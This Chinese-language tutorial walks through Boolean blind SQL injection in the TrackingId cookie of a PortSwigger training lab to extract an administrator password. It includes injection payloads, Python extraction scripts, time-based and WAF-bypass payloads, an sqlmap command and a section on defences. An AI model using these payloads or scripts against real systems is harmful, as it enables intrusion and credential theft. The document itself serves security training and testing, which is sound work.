1. 漏洞场景与盲注基础
在Web应用安全测试中,SQL注入始终是最常见且危害极大的漏洞类型之一。当传统的Union注入失效时,盲注技术往往能成为突破口。本次实战案例展示了如何通过Cookie中的TrackingId参数实施Boolean盲注,最终成功获取管理员凭证。
1.1 盲注技术分类与适用场景
盲注主要分为三种类型:
- Boolean盲注:通过页面返回的真假状态差异推断数据
- 时间盲注:通过响应延迟判断条件真假
- 报错盲注:通过错误信息泄露数据
本案例属于典型的Boolean盲注场景,其特征表现为:
- 页面不直接显示查询结果
- 但会根据SQL查询的真假返回不同内容(如显示/隐藏"Welcome back!")
- 注入点位于Cookie而非URL参数
提示:Cookie注入常被忽视,因为开发者更关注GET/POST参数过滤,而Cookie往往缺乏足够的安全检查。
1.2 实验环境搭建与初始探测
实验环境采用PortSwigger提供的Web安全学院靶场:
- 目标URL:
/filter?category=Tech+gifts - 关键参数:
TrackingId=xxxxxx - 响应特征:存在"Welcome back!"欢迎语
验证步骤:
- 正常请求观察基准响应
- 构造假命题
...cN' and 1=2 --+→ 欢迎语消失 - 构造真命题
...cN' and 1=1 --+→ 欢迎语恢复
通过这三步验证,我们确认:
- 存在SQL注入漏洞
- 注入类型为Boolean盲注
- 注入点位于Cookie的TrackingId字段
2. 信息收集与手工注入技术
2.1 数据库结构探测
在确认注入点后,需要逐步收集数据库结构信息:
确定查询列数
sql复制TrackingId=...cN' order by 1 --+ (正常)
TrackingId=...cN' order by 2 --+ (异常)
结果表明当前查询仅返回1列数据,这解释了为什么Union注入失败(Union要求列数匹配)。
验证表结构
sql复制-- 验证users表存在
...cN' and (select 1 from users limit 1)=1 --+
-- 验证administrator用户存在
...cN' and (select 1 from users where username='administrator' limit 1)=1 --+
2.2 密码长度探测技术
采用二分查找法确定密码长度效率最高:
sql复制-- 测试长度大于10
...cN' and length((select password from users where username='administrator'))>10 --+
-- 精确确定长度
...cN' and length((select password from users where username='administrator'))=20 --+
二分查找过程:
- 先测试是否大于中间值(如50)
- 根据结果调整上下界
- 逐步缩小范围直至确定精确值
这种方法最多只需log₂N次测试即可确定长度,远优于逐次尝试。
2.3 字符逐位提取方法
密码提取的核心是组合使用字符串函数:
substr(string, start, length):截取指定位置字符ascii(char):获取字符的ASCII码
典型Payload结构:
sql复制...cN' and ascii(substr((select password from users where username='administrator'),1,1))>100--+
手工提取时需要注意:
- ASCII可打印字符范围:32-126
- 常见密码字符集中在:数字(48-57)、大写字母(65-90)、小写字母(97-122)
- 特殊字符可能出现在密码中,测试范围应覆盖所有可打印字符
3. 自动化脚本开发与优化
3.1 基础脚本实现
Python自动化脚本的核心逻辑:
- 遍历密码的每一位(1-20)
- 对每个字符位置实施二分查找
- 根据响应是否包含"Welcome back!"调整查找范围
关键代码段:
python复制for i in range(1, 21): # 密码位数循环
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"...' and ascii(substr((select password...),{i},1))>{mid}--"
if "Welcome back!" in send_request(payload):
low = mid + 1
else:
high = mid - 1
extracted_char = chr(low)
3.2 性能优化技巧
- 并发请求:使用多线程/异步IO加速爆破
python复制from concurrent.futures import ThreadPoolExecutor
def brute_char(position):
# 单个字符的爆破逻辑
return char
with ThreadPoolExecutor(max_workers=10) as executor:
results = list(executor.map(brute_char, range(1,21)))
- 智能字符集:优先测试高频字符(字母、数字)
python复制# 定义测试优先级
CHAR_PRIORITY = [
range(48,58), # 数字
range(97,123), # 小写字母
range(65,91), # 大写字母
range(33,48) # 特殊字符
]
- 断点续传:保存进度防止中断
python复制import pickle
# 保存进度
with open('progress.pkl', 'wb') as f:
pickle.dump({
'extracted': extracted,
'position': current_pos
}, f)
# 加载进度
if os.path.exists('progress.pkl'):
with open('progress.pkl', 'rb') as f:
progress = pickle.load(f)
3.3 错误处理与鲁棒性
完善的脚本应包含:
- 请求失败重试机制
- 异常字符处理
- 速率限制规避
- 结果验证逻辑
示例:
python复制def send_request(payload, max_retry=3):
for _ in range(max_retry):
try:
r = requests.get(url, cookies={'TrackingId': payload}, timeout=10)
return r.text
except Exception as e:
print(f"Request failed: {e}")
time.sleep(5)
return ""
4. 高级盲注技术与防御绕过
4.1 条件响应增强技术
当简单的"Welcome back!"不可靠时,可以采用:
- 内容长度差异:通过
length()函数判断响应大小
sql复制...' and length((select password...))>10 and length(@@version)>0 --+
- 元素显隐控制:通过SQL结果控制页面元素显示
sql复制...' and (select case when (select count(*) from users)>0 then 'block' else 'none' end)='block' --+
4.2 时间盲注技术
当Boolean条件不可见时,改用时间延迟:
sql复制...' and if(ascii(substr((select password...),1,1))>100,sleep(2),0) --+
Python实现要点:
python复制start = time.time()
requests.get(url, cookies={'TrackingId': payload})
elapsed = time.time() - start
if elapsed > delay_threshold:
# 条件为真
4.3 WAF绕过技巧
针对Web应用防火墙的常见对策:
- 注释符变种:
--+、#、/*...*/ - 大小写混淆:
SeLeCt、SUBSTRING - 等价函数替换:
substr()→mid()→left() - 空白符变异:
%09(tab)、%0A(换行)
示例Payload:
sql复制...' anD/*!50000ascii*/(mid((selECT/*!50000password*/from users),1,1))>80%23
5. 防御措施与最佳实践
5.1 开发层面防护
- 参数化查询(最高优先级)
python复制# 错误方式
cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")
# 正确方式
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
- 输入验证:
- 白名单验证(如TrackingId应仅为字母数字)
- 类型/长度限制
- 正则表达式过滤
- ORM安全使用:
python复制# Django示例
User.objects.raw('SELECT * FROM users WHERE id = %s', [user_input])
5.2 运维层面加固
- 最小权限原则:
- 应用数据库账户仅需CRUD权限
- 撤销系统函数执行权限
- 日志监控:
- 记录异常SQL查询
- 监控高频相似请求
- Web应用防火墙规则:
- 拦截常见SQL关键词
- 限制特殊字符频率
5.3 安全测试建议
- 自动化扫描:
- SQLMap:
sqlmap -u URL --cookie="TrackingId=*" --level=3 - Burp Scanner
- 手动验证要点:
- 所有用户可控输入点
- HTTP头字段(Cookie、User-Agent等)
- 文件上传元数据
- 代码审计重点:
- 字符串拼接的SQL查询
- 动态生成的查询语句
- ORM的raw查询方法
6. 实战经验与疑难解答
6.1 常见问题排查
问题1:脚本运行中途卡住
- 检查网络连接
- 验证目标是否实施速率限制
- 查看响应是否发生变化(如验证码)
问题2:提取的密码部分字符错误
- 扩大ASCII测试范围
- 增加延迟避免请求丢失
- 验证字符编码一致性
问题3:突然所有条件都返回false
- 可能触发WAF封锁
- 检查IP是否被封禁
- 尝试降低请求频率
6.2 性能优化记录
实测数据对比:
| 方法 | 密码长度 | 耗时 | 请求次数 |
|---|---|---|---|
| 线性搜索 | 20 | 45min | 1900 |
| 二分查找 | 20 | 3min | 140 |
| 并发二分 | 20 | 30s | 140 |
优化建议:
- 优先实现二分算法
- 合理设置并发数(通常10-20)
- 实现进度保存功能
6.3 特殊场景处理
场景1:密码包含非标准字符
- 扩展ASCII测试范围到32-126
- 注意URL编码特殊字符
场景2:响应不稳定
- 实现多数表决机制(每个字符测试3次)
- 增加请求间延迟
场景3:超长密码字段
- 先确定精确长度避免无效测试
- 分段爆破降低内存占用
在实际渗透测试工作中,盲注技术需要结合具体场景灵活调整。我曾遇到一个案例,通过分析响应时间微秒级差异(而非显式内容变化)成功实施注入,这要求测试人员具备敏锐的观察力和创造性思维。